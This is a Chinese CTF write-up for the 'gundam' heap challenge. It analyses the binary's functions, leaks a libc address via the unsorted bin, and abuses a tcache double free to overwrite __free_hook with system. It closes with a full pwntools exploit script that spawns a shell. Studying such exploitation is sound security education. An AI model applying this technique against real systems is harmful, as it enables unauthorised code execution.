pwn-gundam
pwn - gundam
0x00试玩
玩之前checksec一下
root@ubuntu20:~/linan1# ./gundam
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 1 #创建gundam[0]
The name of gundam :a
The type of the gundam :1
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 1 #创建gundam[1]
The name of gundam :b
The type of the gundam :2
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 1 #创建gundam[2]
The name of gundam :c
The type of the gundam :1
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 2 #显示创建的3个gundam
Gundam[0] :a
Type[0] :Strike Freedom
Gundam[1] :b
Type[1] :Agies
Gundam[2] :c
Type[2] :Strike Freedom
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 3 #销毁gundam[0]
Which gundam do you want to Destory:0
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 3 #再度销毁gundam[0],成功
Which gundam do you want to Destory:0
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 2 #显示,剩下2个gundam
Gundam[1] :b
Type[1] :Agies
Gundam[2] :c
Type[2] :Strike Freedom
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 4 #销毁factory,成功
Done!
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 2 #销毁factory对gundam无影响
Gundam[1] :b
Type[1] :Agies
Gundam[2] :c
Type[2] :Strike Freedom
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 3 #但是当再度销毁gundam[0]的时候,就出问题了
Which gundam do you want to Destory:0
Invalid choice
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 3 #销毁其他未销毁的gundam就没问题
Which gundam do you want to Destory:1
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : 2
Gundam[2] :c
Type[2] :Strike Freedom
1 . Build a gundam
2 . Visit gundams
3 . Destory a gundam
4 . Blow up the factory
5 . Exit
Your choice : timeout
在试玩中,可以发现几个问题
- 一是在创建gundam的时候,输入type只有1、2两个输入,其他不合法(当然后面分析0也是合法的)
- 二是在对gundam销毁后仍可重复销毁,但当factory销毁后,那些已销毁的gundam就不能在重复销毁了,但对没有销毁的gundam不影响
0x01伪代码分析
ida64反编译,对main伪代码分析,找关键函数
开始时一个菜单函数,打印几个选项,就把它重命名为menu
unsigned __int64 menu()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts(&s);
puts("1 . Build a gundam ");
puts("2 . Visit gundams ");
puts("3 . Destory a gundam");
puts("4 . Blow up the factory");
puts("5 . Exit");
puts(&s);
printf("Your choice : ");
return __readfsqword(0x28u) ^ v1;
}
包括建立一个gundam、参观gundam、销毁gundam、销毁factory、退出五个选项
1.Build创建gundam
__int64 Build()
{
int v1; // [rsp+0h] [rbp-20h] BYREF
unsigned int i; // [rsp+4h] [rbp-1Ch]
void *s; // [rsp+8h] [rbp-18h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
s = 0LL;
buf = 0LL;
if ( (unsigned int)dword_20208C <= 8 )
{
s = malloc(0x28uLL);//申请0x28大小的chunk,返回指针赋值给s
memset(s, 0, 0x28uLL);
buf = malloc(0x100uLL);//申请0x100大小的chunk,返回指针赋值给buf
if ( !buf )//判空,申请是否成功
{
puts("error !");
exit(-1);
}
printf("The name of gundam :");
read(0, buf, 0x100uLL);//用户输入gundam的name
*((_QWORD *)s + 1) = buf;//把s强制转化为一个指向存放qword类型的指针,qword类型8字节,所以+1就是加8字节,再把buf指针赋值到这个s+8字节的起始单元,指向了用户输入内容
printf("The type of the gundam :");
__isoc99_scanf("%d", &v1);//整形读入用户输入gundam的type
if ( v1 < 0 || v1 > 2 )//这就是试玩时,输入不合法的原因,单当然还有0是合法的
{
puts("Invalid.");
exit(0);
}
strcpy((char *)s + 16, &aFreedom[20 * v1]);//把s强制转化为一个指向存放char类型的指针,所以+16就是加16字节,把&aFreedom字符串拷贝给s+16所指空间,点开&aFreedom里就是试玩时的type值即Strike Freedom、Agies、Freedom这几个字符串。
*(_DWORD *)s = 1;//把s又强制转化为一个指向存放dword类型的指针,4字节,也就是把一个整型1存入
for ( i = 0; i <= 8; ++i )
{
if ( !qword_2020A0[i] )//点击qword_2020A0跳到bss段,是个未初始化的指针数组,见下文
{
qword_2020A0[i] = s;//把每一个s即指针依此赋给数组0-8共9个指针元素
break;
}
}
++dword_20208C;
}
return 0LL;
}
- dword_20208C点开,发现是个bss段数据,是个未初始化的全局变量,函数最后加加操作,我们可以认为是一个计数器改名counter
- qword_2020A0点开,在bss,是个未初始化全局变量,并且是指针数组,所以也不奇怪是qword类型,指针元素都是8字节
但真正用到的就前九个元素,结合分析,qword_2020A0应该就是factory
所以build这个函数的功能大概清楚了,一方面清楚了试玩时的流程实现,另一方面我们可以分析得出gundam结构体和factory数组
struct gundam
{
int flag;
char *name;
char *type;(char type[24])
}gundam
和
struct gundam *factory[9]
- 这里有一个漏洞点,函数在构造gundam时,对于用户的输入字符串没有进行处理,即末尾增加截断字符“\x00”,而申请的堆空间有0x100字节,并且没有初始化,导致存在泄露信息的可能。
2.Visit遍历gundam
__int64 Visit()
{
unsigned int i; // [rsp+4h] [rbp-Ch]
if ( counter )
{
for ( i = 0; i <= 8; ++i )
{
if ( factory[i] && *(_DWORD *)factory[i] )//此时*(_DWORD *)factory[i]就是在取gundam前四字节就是取标志,我们创建好gundam后该标志就是1
{
printf("\nGundam[%u] :%s", i, *((const char **)factory[i] + 1));//这里的+1其实是加8字节,因为char **factory代表着是一个指向char *factory指针的指针,就是二级指针,char *factory指针8字节意味着+1就是+8字节,这才符合name指针的位置。
printf("Type[%u] :%s\n", i, (const char *)factory[i] + 16);//这里就好理解,char类型一字节,所以就是加16字节,符合type指针的位置
}
}
}
else
{
puts("No gundam produced!");
}
return 0LL;
}
结合注释,所以VIsit函数的功能很简单,用factory对所有的gundam进行了遍历,把name和type打印输出。
3.Destory销毁gundam
__int64 Destory()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( counter )
{
printf("Which gundam do you want to Destory:");
__isoc99_scanf("%d", &v1);//读入整形v1
if ( v1 > 8 || !factory[v1] )//需得满足v1小于8整数,factory不空,才可“销毁”
{
puts("Invalid choice");
return 0LL;
}
*(_DWORD *)factory[v1] = 0;//把标志从1置0
free(*((void **)factory[v1] + 1));//free掉了name指针的内容,就是buf申请的chunk
}
else
{
puts("No gundam");
}
return 0LL;
}
结合注释,显然程序通过改标志,释放空间来销毁一个指定的gundam,但是这里它没把指向该内存的指针也就是name指针给清零,这就是漏洞所在,我们可以继续的操作该指针factory[i]->name,多次时释放该chunk,可以实现dfd,而且指针未清零也可以实现uaf
4.Blow_up销毁factory
unsigned __int64 Blow_up()
{
unsigned int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
for ( i = 0; i <= 8; ++i )//遍历每一个gundam
{
if ( factory[i] && !*(_DWORD *)factory[i] )//判断factory是否有值,标志是否0,为0才“销毁”
{
free(factory[i]);//释放掉存放gundam的chunk
factory[i] = 0LL;//把指向gundam的指针删掉
--counter;//计数器减一
}
}
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}
结合注释,程序会对factory[i]这个指针指向标志为0的gundam操作,会释放存放该gundam的chunk;然后再把factory[i]进行删除,即没有了指向该chunk的指针,所以这比destory函数操作更安全。
0x02 内存泄露
前面所讲build函数可能会对读入的字符没有进行处理,没有加'/x00'截断,在使用visit函数使得可以读出更多的内容,造成内存泄露
这里也利用了unsortedbin的机制,当释放一个chunk放到unsortedbin时,它的fd和bk指针都同时指向main_arena+8也就是说我们释放factory[i]后,未释放的factory->name指针还是指向已释放的堆,而堆指向的地址是main_arena+88的位置。
下面,看一下在题中的过程:
先创建gundam
再依次释放chunk,每一个释放的chunk会被插在链表头,它的fd会被写入了上一个释放的chunk的位置
由于tcache的机制可以知道tcache链表只能存放7个节点,所以第8个chunk就被放在了unsortedbin里面了
在unsortedbin中只有一个节点,就是第8个释放的gundam,它的fd和bk指针毫无例外的指向了 0x7ffff7dcfc78 (main_arena+88)。可具体查看,确实如此
如上,只能说明具备了泄露的信息,但是要让0x7ffff7dcfc78 (main_arena+88)泄露出来,还需要用到visit函数
当再次创建gundam时,这个chunk会从unsortedbin被分配出来,由于没有对堆进行初始化,fd和bk的指针没有被抹掉,加之没有对用户输入的字符处理,所以当输入7个b和回车,即'bbbbbbb\n',覆盖了fd,bk却不受影响,那在读数据的时候,就会把这16个字节(输入的字符和bk)给一并读出。
所以先创建所有gundam,销毁8个gundam,销毁factory,再创建8个gundam,再visit就可以实现
知道了泄露地址,我们再找到libc的基地址0x7ffff7a30000
然后把泄露的地址减去libc的地址,可得到libc到泄露地址的偏移
0x00007ffff7dcfc78 - 0x7ffff7a30000=0x39fc78
这是一个固定的值,远端的程序的加载地址是不断在变化的,有了泄露地址和偏移值,我们就可以在每次加载后准确找到libc的地址,加上偏移,进而计算出free_hook_addr和system_addr。
再利用 double free,将 __free_hook
修改为 system
,当调用 free
的时候就会调用 system
,获得 shell。
0x03 Tcache 机制
Tcache介绍
-
libc2.26开始加入了tcache机制,它对每个线程创建一个bin缓存,目的是提高性能
-
每个线程默认使用64个单链表结构的bins,且每个bins最多此存放7个chunk
-
chunk大小以16(8)字节递增,从24(12)到1032(512),可以看到chunk其实不大
-
引入两个新的数据结构,tcache_entry和tcache_perthread_struct
Tcache使用
-
tcache放入chunk的情形
- 释放时,检查了size合法后,放入fastbin之前,先尝试将chunk放入tcache
- 分配堆块时,会触发
- 若从fastbins中成功返回一个需要的chunk,则将对应fastbins中其余chunk填入tcache对应项直到填满(注意此时chunk放入tcache顺序是反过来存的)small bins也类似如此
- 当binning code(发生堆块合并等情况)中,找到符合的大小chunk,并不是直接返回而是先加入tcache中,直到填满。然后程序会从tcache中返回一个
-
从Tcache获取chunk的情形
- 在__libc_malloc,调用int_malloc之前,如果tcache中存在满足申请需求大小的块,就直接返回符合的chunk
- binning code(发生堆块合并等情况)中,若是tcache放入的chunk已达上限,则取出并返回最后一个chunk(默认无限制)
- binning code后,如果没有直接返回,那么如果有至少一个符合要求的chunk被找到,则返回最后一个
注意:tcache的chunk不会合并,无论是相邻,还是chunk和top chunk都不会被合并,这是因为chunk的P标记位是一。
0x04 Double free漏洞利用
libc-2.26缺乏对tcache doublefree安全性的检查,直到libc-2.28才有
前面分析在destory和blow_up函数都没有对factory->name指针进行清零,导致可以对该chunk可进行重复free
先尝试一下是如何double free
我们依次销毁0、1、2来试试
再次destory(2),可以发现chunk指向了自己,并且两个之前释放的chunk也不见了
再啰嗦一下流程
build(0)
build(1)
build(2)
destory(0)
destory(1)
destory(2)#形成链表
destory(2)#形成循环
0x05 Tcache poisoning
对于已经在tcache里面的chunk,更改它的fd值即可在malloc时分配任意地址!
利用Destory将同一块0x110大小的chunkfree两次进入tcache,再改写它的fd域,name就可以返回任意地址
在形成循环的基础之上,我们可以再创建gundam1,原本在tcache的chunk2就会被分配出来,但是拿走chunk2,通过fd找到下一个节点还是chunk2,所以tcache的头指针还是指向了chunk2;我们把name输入free_hook函数的地址,这样就会把chunk2的fd覆盖成free函数的地址,相当于把free_hook放到了tcache的第二个节点了
为什么要用到free_hook,这是为了后面将其地址改写为system的地址,在程序中对chunk操作的就是free函数,直接改为system,我们在写入的字符才会被作为参数执行
我本机的free_hook地址:0x7ffff7dd18a8
当输入free_hook地址作为参数时,我遇到一个问题,就是写的是地址,但是会转化为字符串,写进去之后压根不是原来的模样了。
本来是0x7ffff7dd18a8就变成了0x3766666666377830('0x7ffff7dd18a8\n')
这其实就是没转成字节码的问题,到时写exp的时候可以避免,所以对做题来说不是问题,但就是不知道网上师傅的帖子调试时怎么输入的
不知道那我就自己把这段内存手动改了😆
可以了,意料之中指向free_hook
在前面流程基础之上,继续概括一下这部分的流程
blow_up()
build(2)#参数是free_hook地址
0x06 写入shell参数
继续前面的思路,现在tcache链表很漂亮
0x110 [ 4]: 0x555555759510 —▸ 0x7ffff7dd18a8 (__free_hook) ◂— 0x0
我们创建一个gundam,必然分配到第一个节点,即0x555555759510这个chunk,我们写入参数'/bin/sh\x00',查看写入成功
此时的free_hook地址也已到达tcache头部
0x07 写入system_addr
当free_hook地址也已到达tcache头部,我们就可以通过分配更改其地址,改为system地址0x7ffff7a6fd06
成功写入
以上完美把free_hook的地址替换成system的地址,再执行destroy,然后选择含有'/bin/sh\x00'字符串的gundam,就可以成功执行shell:
综合上述,从网上师傅借来的代码,写的很精妙,修改得到exp
#!/usr/bin/env python
from pwn import *
#context.log_level = 'debug'
io = process('./gundam')
#elf = ELF('gundam')
libc = ELF('libc-2.26.so')
def build(name):
io.sendlineafter("choice : ", '1')
io.sendlineafter("gundam :", name)
io.sendlineafter("gundam :", '0')
def visit():
io.sendlineafter("choice : ", '2')
def destroy(idx):
io.sendlineafter("choice : ", '3')
io.sendlineafter("Destory:", str(idx))
def blow_up():
io.sendlineafter("choice : ", '4')
def leak():
global __free_hook_addr
global system_addr
for i in range(9):
build('A'*7)
for i in range(7):
destroy(i) # tcache bin
destroy(7) # unsorted bin
blow_up()
for i in range(8):
build('A'*7)
visit()
leak = u64(io.recvuntil("Type[7]", drop=True)[-6:].ljust(8, '\x00'))
libc_base = leak - 0x39fc78 # 0x3dac78 = libc_base - leak
__free_hook_addr = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
log.info("libc base: 0x%x" % libc_base)
log.info("__free_hook address: 0x%x" % __free_hook_addr)
log.info("system address: 0x%x" % system_addr)
def overwrite():
destroy(0)
destroy(1)
destroy(2)
destroy(2) # double free
blow_up()
build(p64(__free_hook_addr)) # 0
build('/bin/sh\x00') # 1
build(p64(system_addr)) # 2
def pwn():
destroy(1)
io.interactive()
if __name__ == "__main__":
leak()
overwrite()
pwn()
0x08 总结
-
首先,libc-2.26开始加入tcache机制,但是手头上并没有libc-2.26的bebug版,本地调试便会是一个问题。所以当下载不到debug版,学会从服务器下载glibc的源码,进行编译,生成调试版的libc-2.26.so很重要。
-
tcache的7个chunk满了之后便会存入unsortedbin,在unsortedbin的机制中,当释放一个chunk放到unsortedbin作为头节点时,它的fd和bk指针都同时指向main_arena+88
-
内存泄漏问题主要在于没有00截断,所以后面读入/bin/sh需要注意这个问题;factory->name未清空导致可以doublefree,进而导致Tcache poisoning,这是这题漏洞精髓所在。
-早期的libc对tcache基本没任何防护,简直到了为所欲为的地步,一不检查double free,二不检查size大小,使用起来比fastbins还要简单。2.29libc新增了保护机制,tcache的double free会失效。
-
在泄露地址时,把chunk放入unsortedbin,要多预留一个chunk,否则tcache满了之后,chunk会直接回收到top_chunk
-
每次数组满了记得销毁factory才能把数组清空,才能继续build